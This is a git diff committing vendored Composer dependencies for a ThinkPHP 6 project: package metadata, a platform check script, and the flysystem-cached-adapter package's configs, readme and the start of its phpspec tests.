"dist", + "autoload": { + "files": [], + "psr-4": { + "think\\": "src/think/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + }, + { + "name": "yunwuxin", + "email": "448901948@qq.com" + } + ], + "description": "The ThinkPHP Framework.", + "homepage": "http://thinkphp.cn/", + "keywords": [ + "framework", + "orm", + "thinkphp" + ], + "support": { + "issues": "https://github.com/top-think/framework/issues", + "source": "https://github.com/top-think/framework/tree/v6.0.5" + }, + "install-path": "../topthink/framework" + }, + { + "name": "topthink/think-captcha", + "version": "v3.0.3", + "version_normalized": "3.0.3.0", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-captcha.git", + "reference": "1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-captcha/zipball/1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55", + "reference": "1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "topthink/framework": "^6.0.0" + }, + "time": "2020-05-19T10:55:45+00:00", + "type": "library", + "extra": { + "think": { + "services": [ + "think\\captcha\\CaptchaService" + ], + "config": { + "captcha": "src/config.php" + } + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "think\\captcha\\": "src/" + }, + "files": [ + "src/helper.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "yunwuxin", + "email": "448901948@qq.com" + } + ], + "description": "captcha package for thinkphp", + "support": { + "issues": "https://github.com/top-think/think-captcha/issues", + "source": "https://github.com/top-think/think-captcha/tree/v3.0.3" + }, + "install-path": "../topthink/think-captcha" + }, + { + "name": "topthink/think-helper", + "version": "v3.1.4", + "version_normalized": "3.1.4.0", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-helper.git", + "reference": "c28d37743bda4a0455286ca85b17b5791d626e10" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-helper/zipball/c28d37743bda4a0455286ca85b17b5791d626e10", + "reference": "c28d37743bda4a0455286ca85b17b5791d626e10", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.0" + }, + "time": "2019-11-08T08:01:10+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "think\\": "src" + }, + "files": [ + "src/helper.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "yunwuxin", + "email": "448901948@qq.com" + } + ], + "description": "The ThinkPHP6 Helper Package", + "support": { + "issues": "https://github.com/top-think/think-helper/issues", + "source": "https://github.com/top-think/think-helper/tree/3.0" + }, + "install-path": "../topthink/think-helper" + }, + { + "name": "topthink/think-multi-app", + "version": "v1.0.14", + "version_normalized": "1.0.14.0", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-multi-app.git", + "reference": "ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-multi-app/zipball/ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3", + "reference": "ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.0", + "topthink/framework": "^6.0.0" + }, + "time": "2020-07-12T13:50:37+00:00", + "type": "library", + "extra": { + "think": { + "services": [ + "think\\app\\Service" + ] + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "think\\app\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "thinkphp6 multi app support", + "support": { + "issues": "https://github.com/top-think/think-multi-app/issues", + "source": "https://github.com/top-think/think-multi-app/tree/master" + }, + "install-path": "../topthink/think-multi-app" + }, + { + "name": "topthink/think-orm", + "version": "v2.0.34", + "version_normalized": "2.0.34.0", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-orm.git", + "reference": "57f9b98895b0ff4ae7b7b75e51456fd8cb8fb629" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-orm/zipball/57f9b98895b0ff4ae7b7b75e51456fd8cb8fb629", + "reference": "57f9b98895b0ff4ae7b7b75e51456fd8cb8fb629", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-json": "*", + "php": ">=7.1.0", + "psr/log": "~1.0", + "psr/simple-cache": "^1.0", + "topthink/think-helper": "^3.1" + }, + "time": "2020-09-28T08:24:57+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "think\\": "src" + }, + "files": [] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "think orm", + "keywords": [ + "database", + "orm" + ], + "support": { + "issues": "https://github.com/top-think/think-orm/issues", + "source": "https://github.com/top-think/think-orm/tree/v2.0.34" + }, + "install-path": "../topthink/think-orm" + }, + { + "name": "topthink/think-swoole", + "version": "v3.0.9", + "version_normalized": "3.0.9.0", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-swoole.git", + "reference": "c61e95cdc0669f4fe3382e25def9ae25797c0508" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-swoole/zipball/c61e95cdc0669f4fe3382e25def9ae25797c0508", + "reference": "c61e95cdc0669f4fe3382e25def9ae25797c0508", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-json": "*", + "ext-swoole": ">=4.4.8", + "nette/php-generator": "^3.2", + "open-smf/connection-pool": "~1.0", + "php": ">7.1", + "swoole/ide-helper": "^4.3", + "symfony/finder": "^4.3.2", + "topthink/framework": "^6.0" + }, + "require-dev": { + "symfony/var-dumper": "^4.3" + }, + "time": "2020-08-08T14:39:00+00:00", + "type": "library", + "extra": { + "think": { + "services": [ + "think\\swoole\\Service" + ], + "config": { + "swoole": "src/config/swoole.php" + } + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "think\\swoole\\": "src" + }, + "files": [ + "src/helpers.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "Swoole extend for thinkphp", + "support": { + "issues": "https://github.com/top-think/think-swoole/issues", + "source": "https://github.com/top-think/think-swoole/tree/v3.0.9" + }, + "install-path": "../topthink/think-swoole" + }, + { + "name": "topthink/think-template", + "version": "v2.0.7", + "version_normalized": "2.0.7.0", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-template.git", + "reference": "e98bdbb4a4c94b442f17dfceba81e0134d4fbd19" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-template/zipball/e98bdbb4a4c94b442f17dfceba81e0134d4fbd19", + "reference": "e98bdbb4a4c94b442f17dfceba81e0134d4fbd19", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.0", + "psr/simple-cache": "^1.0" + }, + "time": "2019-09-20T15:31:04+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "think\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "the php template engine", + "install-path": "../topthink/think-template" + }, + { + "name": "topthink/think-trace", + "version": "v1.4", + "version_normalized": "1.4.0.0", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-trace.git", + "reference": "9a9fa8f767b6c66c5a133ad21ca1bc96ad329444" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-trace/zipball/9a9fa8f767b6c66c5a133ad21ca1bc96ad329444", + "reference": "9a9fa8f767b6c66c5a133ad21ca1bc96ad329444", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.0", + "topthink/framework": "^6.0.0" + }, + "time": "2020-06-29T05:27:28+00:00", + "type": "library", + "extra": { + "think": { + "services": [ + "think\\trace\\Service" + ], + "config": { + "trace": "src/config.php" + } + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "think\\trace\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "thinkphp debug trace", + "support": { + "issues": "https://github.com/top-think/think-trace/issues", + "source": "https://github.com/top-think/think-trace/tree/v1.4" + }, + "install-path": "../topthink/think-trace" + }, + { + "name": "topthink/think-view", + "version": "v1.0.14", + "version_normalized": "1.0.14.0", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-view.git", + "reference": "edce0ae2c9551ab65f9e94a222604b0dead3576d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-view/zipball/edce0ae2c9551ab65f9e94a222604b0dead3576d", + "reference": "edce0ae2c9551ab65f9e94a222604b0dead3576d", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.0", + "topthink/think-template": "^2.0" + }, + "time": "2019-11-06T11:40:13+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "think\\view\\driver\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "thinkphp template driver", + "install-path": "../topthink/think-view" + } + ], + "dev": true +} diff --git a/vendor/composer/installed.php b/vendor/composer/installed.php new file mode 100644 index 0000000..f7b1159 --- /dev/null +++ b/vendor/composer/installed.php @@ -0,0 +1,249 @@ + + array ( + 'pretty_version' => 'dev-master', + 'version' => 'dev-master', + 'aliases' => + array ( + ), + 'reference' => 'c9f65d5ca918842689a627444aec27e5d6aeffc5', + 'name' => 'topthink/think', + ), + 'versions' => + array ( + 'league/flysystem' => + array ( + 'pretty_version' => '1.1.3', + 'version' => '1.1.3.0', + 'aliases' => + array ( + ), + 'reference' => '9be3b16c877d477357c015cec057548cf9b2a14a', + ), + 'league/flysystem-cached-adapter' => + array ( + 'pretty_version' => '1.1.0', + 'version' => '1.1.0.0', + 'aliases' => + array ( + ), + 'reference' => 'd1925efb2207ac4be3ad0c40b8277175f99ffaff', + ), + 'league/mime-type-detection' => + array ( + 'pretty_version' => '1.5.1', + 'version' => '1.5.1.0', + 'aliases' => + array ( + ), + 'reference' => '353f66d7555d8a90781f6f5e7091932f9a4250aa', + ), + 'nette/php-generator' => + array ( + 'pretty_version' => 'v3.4.1', + 'version' => '3.4.1.0', + 'aliases' => + array ( + ), + 'reference' => '7051954c534cebafd650efe8b145ac75b223cb66', + ), + 'nette/utils' => + array ( + 'pretty_version' => 'v3.1.3', + 'version' => '3.1.3.0', + 'aliases' => + array ( + ), + 'reference' => 'c09937fbb24987b2a41c6022ebe84f4f1b8eec0f', + ), + 'open-smf/connection-pool' => + array ( + 'pretty_version' => 'v1.0.15', + 'version' => '1.0.15.0', + 'aliases' => + array ( + ), + 'reference' => 'f9289cb5ee61d3e901bc74ab745e5b2162461a1e', + ), + 'psr/cache' => + array ( + 'pretty_version' => '1.0.1', + 'version' => '1.0.1.0', + 'aliases' => + array ( + ), + 'reference' => 'd11b50ad223250cf17b86e38383413f5a6764bf8', + ), + 'psr/container' => + array ( + 'pretty_version' => '1.0.0', + 'version' => '1.0.0.0', + 'aliases' => + array ( + ), + 'reference' => 'b7ce3b176482dbbc1245ebf52b181af44c2cf55f', + ), + 'psr/log' => + array ( + 'pretty_version' => '1.1.3', + 'version' => '1.1.3.0', + 'aliases' => + array ( + ), + 'reference' => '0f73288fd15629204f9d42b7055f72dacbe811fc', + ), + 'psr/simple-cache' => + array ( + 'pretty_version' => '1.0.1', + 'version' => '1.0.1.0', + 'aliases' => + array ( + ), + 'reference' => '408d5eafb83c57f6365a3ca330ff23aa4a5fa39b', + ), + 'swoole/ide-helper' => + array ( + 'pretty_version' => '4.5.6', + 'version' => '4.5.6.0', + 'aliases' => + array ( + ), + 'reference' => 'ab23c2c35880144a6060a3f178a68af0d0c6fc93', + ), + 'symfony/finder' => + array ( + 'pretty_version' => 'v4.4.16', + 'version' => '4.4.16.0', + 'aliases' => + array ( + ), + 'reference' => '26f63b8d4e92f2eecd90f6791a563ebb001abe31', + ), + 'symfony/polyfill-mbstring' => + array ( + 'pretty_version' => 'v1.20.0', + 'version' => '1.20.0.0', + 'aliases' => + array ( + ), + 'reference' => '39d483bdf39be819deabf04ec872eb0b2410b531', + ), + 'symfony/polyfill-php72' => + array ( + 'pretty_version' => 'v1.20.0', + 'version' => '1.20.0.0', + 'aliases' => + array ( + ), + 'reference' => 'cede45fcdfabdd6043b3592e83678e42ec69e930', + ), + 'symfony/polyfill-php80' => + array ( + 'pretty_version' => 'v1.20.0', + 'version' => '1.20.0.0', + 'aliases' => + array ( + ), + 'reference' => 'e70aa8b064c5b72d3df2abd5ab1e90464ad009de', + ), + 'symfony/var-dumper' => + array ( + 'pretty_version' => 'v4.4.16', + 'version' => '4.4.16.0', + 'aliases' => + array ( + ), + 'reference' => '3718e18b68d955348ad860e505991802c09f5f73', + ), + 'topthink/framework' => + array ( + 'pretty_version' => 'v6.0.5', + 'version' => '6.0.5.0', + 'aliases' => + array ( + ), + 'reference' => '85625d984f5c96699dc27d384869f206c3aec1cc', + ), + 'topthink/think' => + array ( + 'pretty_version' => 'dev-master', + 'version' => 'dev-master', + 'aliases' => + array ( + ), + 'reference' => 'c9f65d5ca918842689a627444aec27e5d6aeffc5', + ), + 'topthink/think-captcha' => + array ( + 'pretty_version' => 'v3.0.3', + 'version' => '3.0.3.0', + 'aliases' => + array ( + ), + 'reference' => '1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55', + ), + 'topthink/think-helper' => + array ( + 'pretty_version' => 'v3.1.4', + 'version' => '3.1.4.0', + 'aliases' => + array ( + ), + 'reference' => 'c28d37743bda4a0455286ca85b17b5791d626e10', + ), + 'topthink/think-multi-app' => + array ( + 'pretty_version' => 'v1.0.14', + 'version' => '1.0.14.0', + 'aliases' => + array ( + ), + 'reference' => 'ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3', + ), + 'topthink/think-orm' => + array ( + 'pretty_version' => 'v2.0.34', + 'version' => '2.0.34.0', + 'aliases' => + array ( + ), + 'reference' => '57f9b98895b0ff4ae7b7b75e51456fd8cb8fb629', + ), + 'topthink/think-swoole' => + array ( + 'pretty_version' => 'v3.0.9', + 'version' => '3.0.9.0', + 'aliases' => + array ( + ), + 'reference' => 'c61e95cdc0669f4fe3382e25def9ae25797c0508', + ), + 'topthink/think-template' => + array ( + 'pretty_version' => 'v2.0.7', + 'version' => '2.0.7.0', + 'aliases' => + array ( + ), + 'reference' => 'e98bdbb4a4c94b442f17dfceba81e0134d4fbd19', + ), + 'topthink/think-trace' => + array ( + 'pretty_version' => 'v1.4', + 'version' => '1.4.0.0', + 'aliases' => + array ( + ), + 'reference' => '9a9fa8f767b6c66c5a133ad21ca1bc96ad329444', + ), + 'topthink/think-view' => + array ( + 'pretty_version' => 'v1.0.14', + 'version' => '1.0.14.0', + 'aliases' => + array ( + ), + 'reference' => 'edce0ae2c9551ab65f9e94a222604b0dead3576d', + ), + ), +); diff --git a/vendor/composer/platform_check.php b/vendor/composer/platform_check.php new file mode 100644 index 0000000..051849a --- /dev/null +++ b/vendor/composer/platform_check.php @@ -0,0 +1,24 @@ += 70205)) { + $issues[] = 'Your Composer dependencies require a PHP version ">= 7.2.5". You are running ' . PHP_VERSION . '.'; +} + +$missingExtensions = array(); +extension_loaded('fileinfo') || $missingExtensions[] = 'fileinfo'; +extension_loaded('json') || $missingExtensions[] = 'json'; +extension_loaded('mbstring') || $missingExtensions[] = 'mbstring'; +extension_loaded('swoole') || $missingExtensions[] = 'swoole'; + +if ($missingExtensions) { + $issues[] = 'Your Composer dependencies require the following PHP extensions to be installed: ' . implode(', ', $missingExtensions); +} + +if ($issues) { + echo 'Composer detected issues in your platform:' . "\n\n" . implode("\n", $issues); + exit(104); +} diff --git a/vendor/league/flysystem-cached-adapter/.editorconfig b/vendor/league/flysystem-cached-adapter/.editorconfig new file mode 100644 index 0000000..153cf3e --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/.editorconfig @@ -0,0 +1,10 @@ +; top-most EditorConfig file +root = true + +; Unix-style newlines +[*] +end_of_line = LF + +[*.php] +indent_style = space +indent_size = 4 diff --git a/vendor/league/flysystem-cached-adapter/.gitignore b/vendor/league/flysystem-cached-adapter/.gitignore new file mode 100644 index 0000000..7aea75f --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/.gitignore @@ -0,0 +1,4 @@ +coverage +coverage.xml +composer.lock +vendor \ No newline at end of file diff --git a/vendor/league/flysystem-cached-adapter/.php_cs b/vendor/league/flysystem-cached-adapter/.php_cs new file mode 100644 index 0000000..6643a32 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/.php_cs @@ -0,0 +1,7 @@ +level(Symfony\CS\FixerInterface::PSR2_LEVEL) + ->fixers(['-yoda_conditions', 'ordered_use', 'short_array_syntax']) + ->finder(Symfony\CS\Finder\DefaultFinder::create() + ->in(__DIR__.'/src/')); \ No newline at end of file diff --git a/vendor/league/flysystem-cached-adapter/.scrutinizer.yml b/vendor/league/flysystem-cached-adapter/.scrutinizer.yml new file mode 100644 index 0000000..fa39b52 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/.scrutinizer.yml @@ -0,0 +1,34 @@ +filter: + paths: [src/*] +checks: + php: + code_rating: true + remove_extra_empty_lines: true + remove_php_closing_tag: true + remove_trailing_whitespace: true + fix_use_statements: + remove_unused: true + preserve_multiple: false + preserve_blanklines: true + order_alphabetically: true + fix_php_opening_tag: true + fix_linefeed: true + fix_line_ending: true + fix_identation_4spaces: true + fix_doc_comments: true +tools: + external_code_coverage: + timeout: 900 + runs: 6 + php_code_coverage: false + php_code_sniffer: + config: + standard: PSR2 + filter: + paths: ['src'] + php_loc: + enabled: true + excluded_dirs: [vendor, spec, stubs] + php_cpd: + enabled: true + excluded_dirs: [vendor, spec, stubs] \ No newline at end of file diff --git a/vendor/league/flysystem-cached-adapter/.travis.yml b/vendor/league/flysystem-cached-adapter/.travis.yml new file mode 100644 index 0000000..6706449 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/.travis.yml @@ -0,0 +1,29 @@ +language: php + +php: + - 5.5 + - 5.6 + - 7.0 + - 7.1 + - 7.2 + +matrix: + allow_failures: + - php: 5.5 + +env: + - COMPOSER_OPTS="" + - COMPOSER_OPTS="--prefer-lowest" + +install: + - if [[ "${TRAVIS_PHP_VERSION}" == "5.5" ]]; then composer require phpunit/phpunit:^4.8.36 phpspec/phpspec:^2 --prefer-dist --update-with-dependencies; fi + - if [[ "${TRAVIS_PHP_VERSION}" == "7.2" ]]; then composer require phpunit/phpunit:^6.0 --prefer-dist --update-with-dependencies; fi + - travis_retry composer update --prefer-dist $COMPOSER_OPTS + +script: + - vendor/bin/phpspec run + - vendor/bin/phpunit + +after_script: + - wget https://scrutinizer-ci.com/ocular.phar' + - php ocular.phar code-coverage:upload --format=php-clover ./clover/phpunit.xml' diff --git a/vendor/league/flysystem-cached-adapter/LICENSE b/vendor/league/flysystem-cached-adapter/LICENSE new file mode 100644 index 0000000..666f6c8 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2015 Frank de Jonge + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/league/flysystem-cached-adapter/clover/.gitignore b/vendor/league/flysystem-cached-adapter/clover/.gitignore new file mode 100644 index 0000000..d6b7ef3 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/clover/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/vendor/league/flysystem-cached-adapter/composer.json b/vendor/league/flysystem-cached-adapter/composer.json new file mode 100644 index 0000000..df7fb7f --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/composer.json @@ -0,0 +1,30 @@ +{ + "name": "league/flysystem-cached-adapter", + "description": "An adapter decorator to enable meta-data caching.", + "autoload": { + "psr-4": { + "League\\Flysystem\\Cached\\": "src/" + } + }, + "require": { + "league/flysystem": "~1.0", + "psr/cache": "^1.0.0" + }, + "require-dev": { + "phpspec/phpspec": "^3.4", + "phpunit/phpunit": "^5.7", + "mockery/mockery": "~0.9", + "predis/predis": "~1.0", + "tedivm/stash": "~0.12" + }, + "suggest": { + "ext-phpredis": "Pure C implemented extension for PHP" + }, + "license": "MIT", + "authors": [ + { + "name": "frankdejonge", + "email": "info@frenky.net" + } + ] +} diff --git a/vendor/league/flysystem-cached-adapter/phpspec.yml b/vendor/league/flysystem-cached-adapter/phpspec.yml new file mode 100644 index 0000000..5eabcb2 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/phpspec.yml @@ -0,0 +1,6 @@ +--- +suites: + cached_adapter_suite: + namespace: League\Flysystem\Cached + psr4_prefix: League\Flysystem\Cached +formatter.name: pretty diff --git a/vendor/league/flysystem-cached-adapter/phpunit.php b/vendor/league/flysystem-cached-adapter/phpunit.php new file mode 100644 index 0000000..d109587 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/phpunit.php @@ -0,0 +1,3 @@ + + + + + ./tests/ + + + + + ./src/ + + + + + + + + diff --git a/vendor/league/flysystem-cached-adapter/readme.md b/vendor/league/flysystem-cached-adapter/readme.md new file mode 100644 index 0000000..dd1433d --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/readme.md @@ -0,0 +1,20 @@ +# Flysystem Cached CachedAdapter + +[![Author](http://img.shields.io/badge/author-@frankdejonge-blue.svg?style=flat-square)](https://twitter.com/frankdejonge) +[![Build Status](https://img.shields.io/travis/thephpleague/flysystem-cached-adapter/master.svg?style=flat-square)](https://travis-ci.org/thephpleague/flysystem-cached-adapter) +[![Coverage Status](https://img.shields.io/scrutinizer/coverage/g/thephpleague/flysystem-cached-adapter.svg?style=flat-square)](https://scrutinizer-ci.com/g/thephpleague/flysystem-cached-adapter/code-structure) +[![Quality Score](https://img.shields.io/scrutinizer/g/thephpleague/flysystem-cached-adapter.svg?style=flat-square)](https://scrutinizer-ci.com/g/thephpleague/flysystem-cached-adapter) +[![Software License](https://img.shields.io/badge/license-MIT-brightgreen.svg?style=flat-square)](LICENSE) +[![Packagist Version](https://img.shields.io/packagist/v/league/flysystem-cached-adapter.svg?style=flat-square)](https://packagist.org/packages/league/flysystem-cached-adapter) +[![Total Downloads](https://img.shields.io/packagist/dt/league/flysystem-cached-adapter.svg?style=flat-square)](https://packagist.org/packages/league/flysystem-cached-adapter) + + +The adapter decorator caches metadata and directory listings. + +```bash +composer require league/flysystem-cached-adapter +``` + +## Usage + +[Check out the docs.](https://flysystem.thephpleague.com/docs/advanced/caching/) diff --git a/vendor/league/flysystem-cached-adapter/spec/CachedAdapterSpec.php b/vendor/league/flysystem-cached-adapter/spec/CachedAdapterSpec.php new file mode 100644 index 0000000..69428d9 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/spec/CachedAdapterSpec.php @@ -0,0 +1,435 @@ +adapter = $adapter; + $this->cache = $cache; + $this->cache->load()->shouldBeCalled(); + $this->beConstructedWith($adapter, $cache); + } + + public function it_is_initializable() + { + $this->shouldHaveType('League\Flysystem\Cached\CachedAdapter'); + $this->shouldHaveType('League\Flysystem\AdapterInterface'); + } + + public function it_should_forward_read_streams() + { + $path = 'path.txt'; + $response = ['path' => $path]; + $this->adapter->readStream($path)->willReturn($response); + $this->readStream($path)->shouldbe($response); + } + + public function it_should_cache_writes() + { + $type = 'file'; + $path = 'path.txt'; + $contents = 'contents'; + $config = new Config(); + $response = compact('path', 'contents', 'type'); + $this->adapter->write($path, $contents, $config)->willReturn($response); + $this->cache->updateObject($path, $response, true)->shouldBeCalled(); + $this->write($path, $contents, $config)->shouldBe($response); + } + + public function it_should_cache_streamed_writes() + { + $type = 'file'; + $path = 'path.txt'; + $stream = tmpfile(); + $config = new Config(); + $response = compact('path', 'stream', 'type'); + $this->adapter->writeStream($path, $stream, $config)->willReturn($response); + $this->cache->updateObject($path, ['contents' => false] + $response, true)->shouldBeCalled(); + $this->writeStream($path, $stream, $config)->shouldBe($response); + fclose($stream); + } + + public function it_should_cache_streamed_updates() + { + $type = 'file'; + $path = 'path.txt'; + $stream = tmpfile(); + $config = new Config(); + $response = compact('path', 'stream', 'type'); + $this->adapter->updateStream($path, $stream, $config)->willReturn($response); + $this->cache->updateObject($path, ['contents' => false] + $response, true)->shouldBeCalled(); + $this->updateStream($path, $stream, $config)->shouldBe($response); + fclose($stream); + } + + public function it_should_ignore_failed_writes() + { + $path = 'path.txt'; + $contents = 'contents'; + $config = new Config(); + $this->adapter->write($path, $contents, $config)->willReturn(false); + $this->write($path, $contents, $config)->shouldBe(false); + } + + public function it_should_ignore_failed_streamed_writes() + { + $path = 'path.txt'; + $contents = tmpfile(); + $config = new Config(); + $this->adapter->writeStream($path, $contents, $config)->willReturn(false); + $this->writeStream($path, $contents, $config)->shouldBe(false); + fclose($contents); + } + + public function it_should_cache_updated() + { + $type = 'file'; + $path = 'path.txt'; + $contents = 'contents'; + $config = new Config(); + $response = compact('path', 'contents', 'type'); + $this->adapter->update($path, $contents, $config)->willReturn($response); + $this->cache->updateObject($path, $response, true)->shouldBeCalled(); + $this->update($path, $contents, $config)->shouldBe($response); + } + + public function it_should_ignore_failed_updates() + { + $path = 'path.txt'; + $contents = 'contents'; + $config = new Config(); + $this->adapter->update($path, $contents, $config)->willReturn(false); + $this->update($path, $contents, $config)->shouldBe(false); + } + + public function it_should_ignore_failed_streamed_updates() + { + $path = 'path.txt'; + $contents = tmpfile(); + $config = new Config(); + $this->adapter->updateStream($path, $contents, $config)->willReturn(false); + $this->updateStream($path, $contents, $config)->shouldBe(false); + fclose($contents); + } + + public function it_should_cache_renames() + { + $old = 'old.txt'; + $new = 'new.txt'; + $this->adapter->rename($old, $new)->willReturn(true); + $this->cache->rename($old, $new)->shouldBeCalled(); + $this->rename($old, $new)->shouldBe(true); + } + + public function it_should_ignore_rename_fails() + { + $old = 'old.txt'; + $new = 'new.txt'; + $this->adapter->rename($old, $new)->willReturn(false); + $this->rename($old, $new)->shouldBe(false); + } + + public function it_should_cache_copies() + { + $old = 'old.txt'; + $new = 'new.txt'; + $this->adapter->copy($old, $new)->willReturn(true); + $this->cache->copy($old, $new)->shouldBeCalled(); + $this->copy($old, $new)->shouldBe(true); + } + + public function it_should_ignore_copy_fails() + { + $old = 'old.txt'; + $new = 'new.txt'; + $this->adapter->copy($old, $new)->willReturn(false); + $this->copy($old, $new)->shouldBe(false); + } + + public function it_should_cache_deletes() + { + $delete = 'delete.txt'; + $this->adapter->delete($delete)->willReturn(true); + $this->cache->delete($delete)->shouldBeCalled(); + $this->delete($delete)->shouldBe(true); + } + + public function it_should_ignore_delete_fails() + { + $delete = 'delete.txt'; + $this->adapter->delete($delete)->willReturn(false); + $this->delete($delete)->shouldBe(false); + } + + public function it_should_cache_dir_deletes() + { + $delete = 'delete'; + $this->adapter->deleteDir($delete)->willReturn(true); + $this->cache->deleteDir($delete)->shouldBeCalled(); + $this->deleteDir($delete)->shouldBe(true); + } + + public function it_should_ignore_delete_dir_fails() + { + $delete = 'delete'; + $this->adapter->deleteDir($delete)->willReturn(false); + $this->deleteDir($delete)->shouldBe(false); + } + + public function it_should_cache_dir_creates() + { + $dirname = 'dirname'; + $config = new Config(); + $response = ['path' => $dirname, 'type' => 'dir']; + $this->adapter->createDir($dirname, $config)->willReturn($response); + $this->cache->updateObject($dirname, $response, true)->shouldBeCalled(); + $this->createDir($dirname, $config)->shouldBe($response); + } + + public function it_should_ignore_create_dir_fails() + { + $dirname = 'dirname'; + $config = new Config(); + 